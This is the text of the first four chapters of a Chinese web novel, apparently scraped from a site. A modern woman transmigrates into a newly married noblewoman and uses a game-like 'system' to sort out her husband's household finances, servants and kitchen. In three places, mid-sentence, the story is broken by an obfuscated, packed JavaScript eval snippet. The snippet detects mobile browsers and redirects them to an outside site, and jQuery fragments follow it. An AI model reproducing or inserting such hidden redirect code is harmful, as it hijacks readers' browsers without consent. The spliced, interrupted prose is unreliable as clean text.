《主母生存指南》 1. 第 1 章 烛光摇曳，婚房里极其安静，灯芯燃烧发出哔剥声，祝明璃不适地看着自己的新身体。 她穿成了新娘子。 脑海冒出一道机械音：【宿主好，你穿成了沈绩的妻子祝明璃。未来他会遭遇巨变，成为三镇节度使，阴狠冷漠，为了避免日后被波及，您的任务是收获经验值，在他黑化前刷满他的好感度。经验值累积后您可以在商城兑换养颜美容丹，以便更好攻略。】 这是传说中的攻略系统？祝明璃还没来得及多想，门口便传来轻微响动，她连忙举起团扇遮住脸。 “吱呀”一声，屋内凝滞的空气开始流动，吹得烛光摇摇晃晃，让火红布置的婚房透出几分渗人感。 来人还未走进内间就站定了，接着，一道凛凛目光落在了祝明璃身上。 她抬眼看去，视野被扇面遮挡，朦胧中只看到对方颀长高大的身形。离拜堂不过一会儿的功夫，他已脱下婚服，换上了戎服，威厉之意扑面而来。 祝明璃心里打了个突，这人的气场太强，不好相处。 床边新娘将自己的脸遮得严严实实的，新郎对此并不好奇，扫了一眼便收回目光。 沈家满门忠烈，父亲战死沙场，留下母亲一病不起，好不容易重新振作，大哥二哥又接连牺牲，恰逢新帝登基，一切事宜都落在了他头上。 沈绩的亲事是祖父与好友定下的，他没有不应的道理。 别人眼中的人生大事，在沉甸甸的烦忧中，不过是走个过场的插曲。匆匆迎了新娘，连夜就得离京。 沈绩看着新娘子，麻木的心没生出什么波澜，毕竟他从来就没有想过幸福安定的人生。 手下来报，这位新过门的妻子心悦表哥，在出嫁前自尽闹了一场。如今他要离京，沈家只剩下母亲和一群孩子，经不得折腾。 窒息的沉默中，他简明扼要开口道：“我知晓你不愿嫁我，你若是安心度日，我可以给你足够的自由。” 说完这句话，也没指望她回应什么。一个在出嫁前用自尽威胁兄长的人，不像是个聪明人。 他说完转身就想走，却听到那位一动不动的妻子发出惊喜的声音：“真的？！” 沈绩脚步一顿 。 这一瞬，脑海里的军中事宜里挤进了一条格格不入的想法：不是绝食了几日吗，哪来的力气？ 对方回过身来看自己，见过血的人身上有一股冷嗖嗖的气场，祝明璃很不习惯，但还是忍不住问：“你说的自由，具体包括哪些事项？”开支用度，权限范围……指示不够明确呀。 沈绩瞧着新娘子，觉得她身上冒出了一股奇怪的“活气儿”。 他忽然对自己成亲有了一丝实感，随口回道：“全看你诚意了。” 说完这句话，转身踏出房门，融入茫茫夜色和肃杀寒风中。 * yes or no，对方回答了个or。 祝明璃放下团扇，心想这个穿越开局也不算太差嘛。 刷好感度也不止攻略沈绩这一条路子，他口里的“安心度日”也是条路子呀！ 沈明璃重获希望，干劲满满，把系统叫出来和它商量。 【抱歉宿主，本系统为攻略系统（1.0版本为祸水系统），没有其他通关路径。】 祝明璃开始画大饼：“你都改版过了，再改一次呗。沈绩一人的好感度算什么，整个沈府、周围街坊、我娘家，几百号人的好感，抵不上他一人？” 系统有些犹豫，在其他世界里，它手下的宿主全都攻略失败了。 美容丹把宿主都养成了绝世天仙，任务对象还是冷面冷心，难不成真是方法出了问题？ 系统在抉择时，外面传来匆忙的脚步声，一个丫鬟攥着手进了内间。 “娘子，您跟郎君提起表少爷了吗，郎君怎么走了？” 祝明璃不吭声。 丫鬟叹了口气：“娘子，您已嫁作他人妻，与表少爷终是有缘无分，何苦来哉？” 哦，原来表少爷是“我”心中的白月光呀。而且看现在“丈夫”的态度，似乎也知道这事儿？ 这么大的攻略难度，果然还是另寻他路更好！ 丫鬟见她不说话，快要急哭了。 祝明璃与表哥暗生情愫后，身边的丫鬟婆子通通被发卖，换了一批。不成想新的一批又纵容她绝食相逼，祝家无奈，只得挑了几个死脑筋的丫鬟陪嫁。 死脑筋只认死理。祝家吩咐丫鬟们看紧祝明璃，不容她再想再提表哥。 见丫鬟这么着急，祝明璃赶忙摇摇头道：“他走得匆忙，我们没说上几句话。” 丫鬟松了口气，紧接着又露出愁容来：沈家郎君新婚之夜离京，沈家门楣高，娘子怕是镇不住。再加上娘子不愿嫁沈家这事儿，虽然尽力压下来了，但郎君不可能不知道……今后的日子，难。 “娘子，今夜无事了，婢子服侍您歇下？” 祝明璃点点头，丫鬟便利落地把她的头饰发髻拆下，又叫人打了热水替她净面。 一切结束后，丫鬟还要服侍祝明璃上床安寝，祝明璃连忙道：“行了，你也去歇着吧。” 好歹嫁过来了，丫鬟终于不用担心她自尽威胁，行礼退出了婚房。 此时，祝明璃的眼前突然冒出一行字。 【丫鬟[焦尾]忠诚度增加。】 祝明璃愣了一下。 系统及时补充：【系统3.0版本更新。本次更新：增加了攻略路径及玩法。】 祝明璃放心了，早早睡下。 睡得早，醒得也早，丫鬟们一敲门，她便睁开了眼。 卯时天还未大亮，红烛早已燃尽，就着朦胧微光，丫鬟们轻手轻脚鱼贯而入。端盆的、伺候洗漱穿衣的，井井有条。 祝明璃全程无话，丫鬟们心下不安，恐触了她的霉头。 新婚夜，郎君领了皇命连夜出京，谁能高兴呢？ 也不知郎君这是受宠还是不受宠，说受宠吧，哪儿有人成亲这般仓促？说不受宠吧，偏偏圣上又点他做事，连婚假也没有，必是紧要大事。 丫鬟们想不通这些关节，祝明璃更不会想这些。她希望沈绩越迟回来越好，一个陌生男人忽然成了自己的丈夫，她实在不知怎么应对。 “娘子，时辰差不多了。”有丫鬟轻脚走过来提醒，祝明璃只认得昨夜那个叫焦尾的丫鬟，含糊地应了一声。 她起身，盯着这丫鬟看了一眼，见到她头上冒出一行光字。 [绿绮] 再一眨眼，显出人物详情来。 [身份：陪嫁丫鬟 忠诚度：70/100] 再看焦尾那边，忠诚度有82，若是用人的话，焦尾更合适。 不过这也不是最紧要的事儿。祝明璃由沈府丫鬟领路，出了院子，穿过长廊、垂花门、穿堂，总算到了沈母院子里。 幸好嫁的是沈绩，住得近，若是住得远一点，天黑时就得起床赶路。 遇到人丁兴旺的家族，给长辈们挨个请安，回房用早膳，又过来陪长辈说笑解闷，时候差不多了，再次往自己院里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207343|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶处理事务。操心一点的，从铺子营收到下月采买都要过一遍。下午再过来侍奉婆母，和各房联络感情，关心小辈……忙到黄昏，又要去请安。 来来回回好几趟，当主母其实是个体力活儿。 此时，上房里沈家人早已聚齐等候。 祝明璃时间踩得好，不早不迟，只是都走到门口了，还没听到里面的谈话声。 候在门口的大丫鬟对她行礼后，进门轻声道：“老夫人，三娘子到了。” 房内依旧没什么声音，祝明璃跟着走进去，果然如她所想，沈府从上到下都是死气沉沉的。 坐在上方的沈老夫人脸色平平，她并不知道“祝明璃”心悦表哥，只是根据出身来评价祝明璃，认为结亲是个不错的决定。 祝明璃祖父在世在文坛颇有盛名，虽然在官场上没爬多高，但诗文传天下，来往密友很多，沈侯便是其一。祝明璃一出生，亲就定下了。等沈绩孝期一过，两家就立刻把婚事提上了日程。 这些年的丧夫丧子之痛已经把她磨成了木头人，她流程性地关怀了几句。无非就是昨夜睡得如何，从此以后你就是沈家媳妇了云云，又送了她几盒珠宝后，便开始介绍屋里人。 沈侯爷生前一妻一妾，妻子便是现在的老夫人，膝下育有三子一女。庶出的大娘子早已出嫁，跟着外放的丈夫离了京。 大郎二郎接连战死，只剩下三郎，也就是沈绩。 大郎膝下一子一女，其妻因病早早去了。 二房是一对龙凤胎，夫妻二人伉俪情深，丈夫牺牲以后，其妻悲痛成疾，扶灵回京后，没多久就郁郁而终。 祝明璃转向小辈这边，年轻人总算有点生气，正在偷偷打量她。 大房的大姑娘瞧着十四五岁，十分秀气内敛，见祝明璃看自己，连忙行礼，小声地道：“三叔母。”她不敢直视祝明璃，“侄女儿名唤令仪，乃大房长女，下面有个弟弟令文，是国子监学生，正逢旬试，祭酒严格不允假，所以未能赶回来。” 她小心翼翼地解释着，身旁忽然传来一声轻嗤。 祝明璃朝那边看去，二房双胞胎二人，十二三岁左右，小姑娘正在神游天外，而少年正皱着眉头，一脸嘲讽地瞧着沈令仪。 沈令仪似乎是习惯了，连忙收了声音，脸涨得通红。 四下安静，神游天外的二房小姑娘察觉不对劲，圆溜溜的眼睛一转，就明白自家哥哥又“犯病”了，抬手就是一巴掌呼到了他的手臂上。 “沈令姝！”小少年立刻竖起了眉毛。 这一嗓子终于让上首高坐的老夫人醒过神儿来，她拖长了声音：“令姝、令衡！” 双胞胎勉强收了动作，但面上仍旧是不服管教的模样。 一日才刚刚开始，老夫人却像累了一天般疲乏，支着头：“祝氏、令仪，你二人上前来。” 祝明璃和沈令仪连忙走到老夫人跟前。 “我这身子骨你也瞧见了，儿媳们又去得早，所以中馈暂由令仪打理。你如今嫁了过来，理应分担一些。” 祝明璃还没说话，身旁的沈令仪就先大大地松了口气。 “以你的出身，想必打理庶务这等事不在话下。”老夫人让小儿子匆促完婚，其中一个原因就是沈家实在是缺一个女主人。 话都说到这儿了，祝明璃只能接下。 头一日丈夫新婚夜离京，第二日家中人冷淡相对，若是其他新妇定会愤懑不平，但祝明璃反而觉得这样挺好，她不擅长假客套。而且沈母如此虚弱，想来也不会折腾媳妇儿。 2. 第 2 章 老夫人端了端茶盏，这就是要送客了。 沈令仪忐忑地看了眼祝明璃，见这位叔母面上依旧没有不愉快的神色，正合了她想象中的长辈的模样，沉稳、平心定气。她眼神亮了些，对未来多了抹期待。 【[沈令仪]好感度增加。】 祝明璃：啊？ 她朝沈令仪看过去，对方立刻收回眼神。 这个好感度刷得莫名其妙，祝明璃毫无头绪。 小辈们走出堂屋，到了院子里，才敢继续说话。 老夫人累得太快，小辈们的礼还没送，沈令仪从丫鬟手里拿来木盒，取出里面的香囊：“三叔母，这是我亲手绣的香囊，绣艺不佳，希望你不要嫌弃。” 香囊针脚细密，上面的并蒂莲栩栩如生，一看就是下了功夫的。 祝明璃接过来，感叹道：“你可太谦虚了。” 按游戏惯例来说，好感度刷到一定程度系统就会有奖励，遇到个容易刷好感度的侄女，祝明璃必须把握住，连忙让丫鬟把自己的礼物送给她。 两个人的气场这算是对上了，旁边的二房双子见状，都有些不自在。 沈令衡忽然开口道：“三叔母，我们没准备礼物，你不会介意吧？” 沈令姝连忙来拽他手臂，他不耐地甩开，甚至被激出一点羞恼的挑衅来。 他看向祝明璃，祝明璃却并不理会他。 熊孩子，要么打，要么晾着。 她对担忧的沈令仪笑了笑，切入了下一个话题：“令仪可用了早膳？”既然要和这个小姑娘进行交接，关系还是要打好的，第一步，从饭搭子做起。 沈令仪本就缺主心骨，现在来了个面善的叔母示好，开心之中显出一丝讨好：“还未。三叔不常在府中，院内久未开火，三叔母今日不若去我那儿用早膳？” 祝明璃笑着应下，同沈令仪往她的院子方向去了。 双胞胎自讨没趣儿，互相翻了个白眼，各自散了。 沈令衡回到院里，这里的氛围比沈母院儿里还要窒息。整个地方都笼罩着二房女主人病故的阴霾，空气中似乎还残留着药香。 沈令衡找到管事嬷嬷：“阿婆，我和妹妹都没有准备给三嫂的见面礼，实在有失礼数。” 这种事情，理应是二房管事人一手操办，但自从女主人去世，整个二房一蹶不振，早已停摆。 婆子乃二房夫人的乳母，被问得一怔，一眨眼就滚出泪来：“都是贱奴的错。”她擦擦泪，开始哭诉，“娘子离开后……” 沈令衡干巴巴地站在堂前，闹也不是，走也不是。 看着她哭，就想到了娘亲去世前，整日不言不语，不吃不喝，只对着阿耶的遗物以泪洗面。无论他和沈令姝怎么求怎么哄，都换不来一个眼神。 他心里不是滋味：“算了。” 提起伤心事，所有人都在哭，活像似要把他的那一份也哭完了才甘心。 * 祝明璃并不知道沈令衡正在闹脾气，跟着沈令仪穿过小花园，踏过流水小桥，身上都走出了一层热气，才总算到了沈令仪的院子。 她住得地方比祝明璃要远，又得早早到沈母跟前请安，怕是得早起两炷香才行。 从住的地方便能看出一个人的性格，沈令仪的院子打整得十分工整，花草树木收拾得当，颇有清雅之意。 一大早就走来走去的，回到院里，也该饿了。 丫鬟们伺候两人入座，早膳早已准备好，用小火煨着，端上来正热。 只是菜色过于简单了。每人面前一小碗杏仁饧粥、少许糖脆饼、一小碟醋拌菠薐菜。 沈令仪也意识到了这点，给丫鬟使了个眼色，于是糖脆饼多了些，杏仁饧粥上了一大碗。 她脸上泛起了一丝红晕，解释道：“三叔母，我早膳用得比较简单。” 这倒也没说谎，只是除了这点以外，更重要的原因是她在削减开支。 偌大的沈府，定然不会短了她衣食用度，只是自从接过中馈后，一算账，每月都在严重亏损，她不敢打扰养病的沈老夫人，更不敢凑到顶梁柱三叔眼前，只能从自己院里入手，先缩减开支试试能不能让账面好看点。 没有长辈手把手教导，一个十四岁的小姑娘，做到这个地步，十分不易。虽然沈府这些年日人心浮动，刁奴贪婪谋私，但也少不了世代延续下来的忠仆，有几位老嬷嬷和上房得用大丫鬟搭帮，沈令仪接掌中馈这一年来，倒没出什么差错。 祝明璃敏锐地嗅到了有关财政方面的气息，相比于宅斗，她更愿意面对经济上面的麻烦。 一个战功赫赫的大家族，一个正得新帝赏识的才俊丈夫，再怎么折腾，沈府也不会垮掉。 这一瞬间，祝明璃脑海里冒过很多念头：首先要理清楚财务方面的收支架构，还要回去清清嫁妆，拿在自己手里的最安心。 沈绩瞧着不差钱，但身份不一般，万一补贴军中什么的，可是一笔大的支出…… 再多的念头，甜粥入口，霎时消散。 小姑娘嗜甜，有些齁得慌。再一口醋拌菠薐菜，祝明璃被酸得一个激灵，彻底放下了筷子。 穿越第一日，她就开始想念起传统早餐来：热腾腾的包子、米粉、杂酱面…… 沈令仪以为她不快，吃了几口，也忐忑地放下了筷子。 “三叔母，方才祖母所说的中馈一事……” 这是迫不及待地把包袱甩出去了。 放在其他人家，中馈可是个香饽饽，少不了一番撕扯，也只有在沈府才有这种推让掌家权的奇观。 祝明璃闻弦知雅意，答道：“令仪若是得空，现在就可以开始同我交接。中馈不是小事儿，怕是要过渡一段时间。” 沈令仪更心虚了，“过渡”一词听上去很有条理，可她手上的只是一个烂摊子。 她支支吾吾地应了，给大丫鬟们一个眼色，她们立刻开始收拾桌面，沈令仪也就顺势邀请祝明璃往书房那边去了。 祝明璃的祖父名声在外，忧心百姓疾苦的诗不少，这样的人养出的孙女儿绝不会心术不正，所以沈家没一个担心她接手会出问题。但毕竟还是年轻姑娘，沈母对她的能力也没有抱有过高期待。 当初沈令仪接手中馈的时候二叔母状态很不好，交割的时候没什么条理，她也不敢多问，总之就是一团乱麻。 如今向祝明璃交割，没什么参考，只能硬着头皮上。 她梳理好了一个单子，拿出来扫了一眼：“三叔母，我先把账本、田契卖身契、钥匙这些东西交割了吧。” 说完也不用动手，就有婆子抬着木箱过来了。 对内，当家主母需要维持一个家族的秩序，照顾家族成员日常所需、计算开支、经营铺面、管理下人等等。对外又需要经营社交，打点好世交上峰下属的一切关系…… 用现代术语来说，就是集后勤采购、财务、市场、人资、营销等等为一体的全方位人才。 沈府黜奢崇俭，且人丁凋零，即使这样，加上家生子全家也有两百来号人，多少算是个中小型企业了。 所以对于这样一股脑儿的交接，祝明璃是拒绝的。 “不急，一样样来。”目前她身边没有得力的助手，一切交割全靠自己，着实有点麻烦，“先从家丁奴仆入手，我才来，瞧着大家伙儿都脸生，令仪帮我捋捋可好？” 沈令仪掌管沈府一切事务，每日都需要点名分发对牌，嬷嬷们心疼她身体，所以除非需要她亲自点头的事，都不会让给她早起。平素里已然形成一套流程的事务，都是按规矩办，管事们只需要每旬集合一次，汇报、听训。 今日不属于每旬早会的日子，但各家管事媳妇儿心里都有谱，沈府中馈这中馈肯定会早早交割的。上午什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207344|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事儿也不敢忙，就等着传唤，果然，没一会儿就有人来唤他们。 下人院子离得远，但谁也不敢慢条斯理地溜达过来，等祝明璃把沈府内外院架构、各房人口理清楚时，管事们也到齐了，脸色红润、额有薄汗，显然是走得很急。 新官上任三把火，新主人召唤，谁也不敢怠慢。 大伙儿低眉顺眼，一幅恭顺样，实际余光早就将祝明璃打量了一遍。 听闻是书香世家出来的，气度瞧着不凶恶，但也不内敛，就是不知道掌家的本领有几分。 他们在打量祝明璃的时候，祝明璃也在看他们。 名册一到手，她就感觉有什么不一样了。 【恭喜宿主，点亮[初来乍到]成就，全面解锁主仆系统。】 想必是权力更换导致的，现在沈府全府上下的人都与她有了主仆关系，周围的下人奴仆们都能看见属性了。【主仆】界面里，一大堆人名涌了进来。 她一边点名一边对脸，什么职位，和各房各家有什么人脉联系……由于系统还是初始权限，唯一可见的属性就是“忠诚度”，但这个属性足矣。 这么好的系统只用来查看好感度属性攻略男人的话，说一句暴殄天物也不为过！ 她慢慢翻动名册，院里极静，只有书页摩擦发出的轻响。 油水越大的职位，越需要忠诚度，然而十个人里，有一半都达不到及格线。虽说水至清则无鱼，但管事奴才们过度谋取私利、贪婪无度，也能蛀空一个家。 更何况像沈令仪这样没主心骨的小姑娘，难怪沈府内部存在着大家族不该有的混乱。 这些账本，祝明璃只需用心算加加减减，就能发现帐不平。 她端坐着，除了点名就是看账本，其余的一句话不说，倒让下面的人开始惶恐不安起来，摸不清她是完全不懂行呢，还是心里早就有了计较，只是喜怒不形于色。 她也不嫌麻烦，大中小的管事全部见完后，又让沈令仪帮忙吩咐一声，让只要手里有权的丫鬟奴仆，都来这里见上一见。就连厨房的切菜婆子，手下掌管三个小丫鬟的那种，也要来磕个头。 这可把这些人吓坏了，倒不是说做了什么坏事心虚，只是他们的日常就在一亩三分地里打转，哪怕犯了错也是管事们大丫鬟们处理了就罢了。现在突然被通知来后院见贵人，吓得一路上都在补习磕头的礼数。 府中分工不细，管事的并不算多，但即使这样，一个一个见面认脸也足够耽误工夫。 一来一回的时间，等见完，都快到晌午了。 沈令仪早已偷偷打了好几个呵欠，又不敢出声打断，只能乖乖坐着试图从祝明璃这里学点东西——可她根本不知道祝明璃为什么要这么做。 其实祝明璃只是为了补足系统里的信息罢了。 人脸对了，忠诚度界面解锁，问上几句话也能大概明白对方是什么性子，机敏与否。 一上午下来，刚刚把府内架构弄清楚，再问沈令仪借纸笔一用，基本就有数了。 本来还在昏昏欲睡的沈令仪顿时精神了，凑到跟前：“三叔母，这是——” 幸好有角色原始基础，祝明璃不用练字也能写得一手漂亮字，但比起规规矩矩写字记录，纸上更多的是圆圈勾叉，瞧着很奇怪。 沈令仪只是缺少人引导，悟性并不差，瞪着眼看了一会儿，也大概看出了点东西。 “大小厨房、采买、田庄、粮仓……嗯？”怎么哪哪儿都是问题。 祝明璃摇头：“只是一些猜测。” 沈令仪不知该羞愧还是该崇拜了，纠结一番，最终祝明璃听到叮叮叮三声响。 【[沈令仪]好感度大幅上升。】 祝明璃打开面板一看，嚯，89％。 她顿时来劲儿了：再努努力，刷满第一个人物的好感度，系统肯定会掉落奖励的。 3. 第 3 章 动人是伤根本，得一点点来。 更何况，她摸不清老夫人放权的底线在哪，更不了解府里男主人沈绩的脾性。 早上那顿饭给祝明璃留下了阴影，无论沈令仪怎么挽留，她也没有留下。 走回自己院子时，大厨房送来的饭菜刚好到。 揭开木盖儿，饭菜还冒着热气。或许是新主母到来，府上多少有点庆祝的味道在，菜色十分丰富：羊肉索饼、炸油糕、醋芹、蒸葫芦、煨芋头。 沈府和延续几朝家底丰厚的世家大族相比，在吃上面算不上顶好的，但在长安城里，怎么也算中上的。厨娘的手艺是合格的，可终究是不合口味。 羊肉还是做成烤羊肉串，羊肉汤锅什么的比较好。至于主食，米饭、面条都比饼更合口味，更别说蒸菜了。 于是她的代办清单里，在“清理蠹虫”、“刷好感度”前面横插一条“改善伙食”。 祝明璃丝毫没有接手中馈的紧迫感，饭吃完在纸上写写记记，消化得差不多了，往床上一躺，午休时间到。 沈三郎不在家，院子里就是她的天下，没人会来催她起床，睡够了她才慢悠悠起来，擦擦脸漱漱口，开始下午的工作——理账本！ 这可是个脑力活儿，祝明璃往桌前一坐，焦尾就十分识趣地过来端茶磨墨。 祝明璃一边算，一边端起茶盏。瞧这茶汤色泽光亮，十分可口的样子，她没有一点点防备喝了一口，辛味儿差点掀翻天灵盖。 焦尾是新换上来的丫鬟，对祝明璃并不了解，有点忐忑地问：“娘子不喜这饮子？”她们大丫鬟是不会亲自煮茶的，只负责贴身伺候。 此时饮茶注重医用功效，弱口感，煮茶加点茱萸、薄荷、葱姜什么的，提神醒脑。幸亏没加酥酪、油腥，否则祝明璃这口茶能喷出来。 看来现在茶文化还没有进阶，靠着“煎茶品茗”是不是可以在世家头上捞一笔呢？ 祝明璃思绪飞走了。 见她不喜，焦尾连忙过来端走。 绿绮见状立刻低声吩咐外面候着的丫鬟，很快，又端来新的茶壶，只是这次装的是平平无奇的白水。不确定沈明璃的喜好，酸奶酪等奶制品干脆也不端了，免得再出差错。 焦尾见状，心想不能“委屈”祝明璃，便让绿绮仔细候着，转身出了院子，准备去茶水房看看。 这一出来，立刻就感觉不对了。 丫鬟们从小长大生活的环境并不友好，最擅长的就是感受气氛审时度势，尤其是从最下面努力爬起来做到贴身丫鬟的人。昨夜郎君连夜离京，洞房都没有，早上她就能感受到沈府“原住民”的轻视。 但现在不一样了，大家似乎有了顾虑，空气里都透着试探的掂量，来到茶水房，这群人更是十分客气。 一切只因他们一年到头都见不到主子，今日管事的破天荒去拜见了新主母，祝明璃眼神多停留一息，他们就会想是不是要从自己这个无关紧要的下人开始立威，杀鸡儆猴。 几句推拉的客套，几个眼神的交换，焦尾从茶水房出来后，脚步都轻快了点——当丫鬟就和嫁人一样，跟错了人就毁一辈子，现在看来有点希望。 大丫鬟焦尾从氛围里读到的信息，祝明璃也知晓了，只不过是通过系统。 【恭喜玩家解锁名望度，点亮成就“初级名望”，获得新手奖励*1。】 祝明璃瞥了一眼在旁边走神的绿绮，立刻点击查看。 【请从下面奖励三选一：1、低级美容丹 2、流光贝珠 3、每日使用计算器1小时】 看上去，第三个选项是这个“攻略系统”很努力转型挤出来的。 打瞌睡送枕头，祝明璃果断选3。 于是她的视野旁侧出现了计算器光影，只需要动一动心念，便能触动按键。这下可好了，理账目方便多了。 她准备把账目格式先改了，按照现代的思路来拉表格。 现代人熟悉的统计表格在这个时代来说可谓是惊艳的举动，更别提更迭发展出来的财务知识。 刚刚制作出第一个表格模型，焦尾回来了。 她轻手轻脚走过来，拎着热乎乎的云母汤，小心翼翼地放在桌旁，犹豫着是询问祝明璃，还是直接给她斟茶。 祝明璃并没有她想象的那么投入，余光瞧见有人过来，下意识便抬起头。 四目相对，祝明璃惊奇地发现一件事——焦尾的忠诚度上涨了2分，变成了82！ 她做了什么，怎么莫名其妙就上升了？ 焦尾见她盯着自己，手都有点抖，忐忑问：“娘子？” 嫁到他府，对于新妇来说是一段忐忑的新人生旅程，对于跟着新妇的丫鬟们来说，更是焦虑不安的漂泊开始。 忠诚度的上升，是她提起这口气，决定扎根落地的象征。 “没什么。”祝明璃道，“去把我的嫁妆单子取来。” 焦尾立刻照做，很快就回来了。 祝明璃摸不清这个角色在娘家的地位，根据嫁妆单子能估摸出几分。 珠宝首饰、金银器皿、上等布匹等用来装点门面的不少，书册和文房四宝也很多，可金锭银子这种流动资产并不多。至于田地、铺子就有点少了，或许文人沾上这些不太好，铺子也只有书铺、药铺、布帛行，一看进项就不太行。 祝明璃状似不经意地问：“我的体己钱呢？” 焦尾立刻道：“都收着呢，在箱子里，婢子们不敢乱动的。” 祝明璃起身，顺着焦尾的目光走，在隔间梳妆台下发现一个小匣子，顿感失望。 她翻出钥匙，把匣子打开，只见上面散着一层碎银子，几块儿金锭，第二层是一些零散珠宝，最深的第三层居然全是信。 她直觉不妙，随便抽出几张扫一眼，全是和那位表哥的来信。 二人情投意合，对话得体，只是站在旁观者的角度读信，总有哪儿不对劲儿。 又抽出几封，祝明璃总算知道哪儿不对劲了。这个表哥字里行间都在卖惨，愤懑地表达自己一身才华无处使，在信件里面偶尔会提一句“表妹难不成是在接济我？”、“要不是表妹出力，我的诗集定是不能送到杜公面前的。”、“表妹助我良多，我该如何回报你？”…… 难怪钱不多，合着全给送人了！ 焦尾听到纸张摩擦的声音，悄悄探出脑袋，就见到祝明璃十分悲伤的读信背影，顿时心凉了半截。 完了，娘子还在惦记表少爷。 但她又觉得娘子今日干劲儿满满，又是见管事，又是查账，看上去是准备好好做“沈家三娘子”了，不像是准备重蹈覆辙的样子。 想了想，还是决定把这事儿瞒下不报，见到绿绮从外间进来，连忙走过去支开她。 祝明璃把信收好，总结了一下自己的处境：表面看着不缺钱，但流动资产很少；娘家资产一般，且和娘家关系有点僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207345|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ；新接手的中馈一团乱，不过老夫人不管事儿。 不怕困难，就怕困难不明晰，抱着略微忐忑的心情，成亲第二日，祝明璃继续理账、找管事谈话。忙里偷闲，用一整个下午的时间把小厨房的菜单改了。 然后在傍晚用膳时，等来了沈绩的下属邬七。 祝明璃很惊讶，没想到沈绩的下属会来找她。 邬七也很惊讶，感觉自己走错了院子。 以前沈绩住这儿的时候，没用着几个丫鬟，小厮们更是无所事事，冷冷清清的，不像现在，气氛有一种古怪的热烈。 后宅就是一个巨大的职场，祝明璃进来的当晚，就有小丫鬟们开始观望了。一边干活一边打听消息，生怕错过一点新主母的动向。 文臣世家，脑子一定好；一来就见管事、查账本，野心一定够。身边大丫鬟说话和和气气，院儿里也没有因为三郎君离京而气氛紧绷，说明主子不会迁怒下人。 在大多数人还未下判断时，那些不满意自己处境的小丫鬟们已经开始递月钱疏通关系了。反正呆着也没出路，不如赌一把，去主母院子里扫地也比现在好！ 所以邬七感觉院子气氛大变样也是正常。 他是家生子，但并不在沈府久呆，主要做贴身护卫，平素主子有公务离京，他就负责守好书房，不让外人进出。 此时的祝明璃终于吃上了第一顿合口味的热饭，既然有羊肉，那就做点羊蝎子锅吃。调料虽少，但胜在食材新鲜天然，清炖后汤色清亮，整间院子都是清鲜的奶香味儿，扯点面皮，撒点葱花，健康又管饱。 这边吃着羊蝎子锅，那边明早的包子也开始准备起了。 以前三房小厨房不开火，如今来了新主人，只能从大厨房临时分些人来。 熬得久的，不想走，只能挑一位年轻的厨娘过来。 大家都怕祝明璃嫌弃，但她却对厨娘很满意，年纪小，手艺或许不够老练，但脑子灵活，不犟，勇于接受新鲜事物，指哪打哪。 一堆人围着她进了小厨房，本以为她是借此发泄对厨娘的挑剔，却没想到她一进去，有条有理地询问和安排。 清洁、备餐、烹饪、储物都指定专人安排，又根据动线布局，让大家各自在自己的区域忙活，不要乱糟糟的。 大伙儿虽然尊敬地应了，心里面都觉得小娘子怎么会懂这些事儿呢，却没想到一上手发现顺了很多。 不再挤来挤去、手忙脚乱，全程下来配合流畅，没有一个人心里憋火——这在火气燥旺的厨房可是罕见的事儿。 祝明璃下午悠哉悠哉地指点厨娘蒸酱肉包，不一会儿她就上手了，如今汤面吃一半，第一笼试验包子也出炉了。 满院子都是香味儿，叫人恨不得多长一个鼻子。 有那贪吃的小丫鬟凑在院门跟前晃儿，见到邬七好奇地直瞅，以为他也是闻着味儿过来的。 邬七被她们鄙夷的目光瞅得面色有点黑，他是男役，不好直接进去，只能叫小丫鬟通传。 小丫鬟倒是勤快，一溜烟就蹿没影儿了，找到熟悉的丫鬟通报，一个传一个，终于传到祝明璃跟前。 邬七目不斜视地进院，规规矩矩行礼、递信。 祝明璃略带疑惑地拆开，信很短。 “事忙，难以抽身。家中细务，烦请多多照看。若有事相商，可来信于我。” 最后一句显然是后面补上的，墨迹颜色不太一样。 4. 第 4 章 祝明璃松了口气，她还没有做好准备。 如果她能在他回府之前站稳脚跟，就不会那么被动了。 首先她能确定的是，名望度升高可以获取奖励，而好感度满格一般都有奖励，所以她现在主要目标就是刷经验值。 名望度从肃清沈府着手，好感度从沈令仪那刷，完美。 所以在下人眼里，收到信的祝明璃不但没有恼怒，反而更有干劲儿了。 离开饭桌，她一改松弛悠闲的模样，往书桌前一坐，奋笔疾书。 焦尾在旁边研墨，一低头一抬头的功夫，祝明璃就写了半页纸。 她现在要做的事把这本烂账摊开了理顺了讲，一切面子功夫和废话都省去，用最简单直白的数据指出府里的账目问题。 差了多少钱，差在谁头上，什么时候差的…… 唰唰写了两页，再没有头脑的人也能看明白。 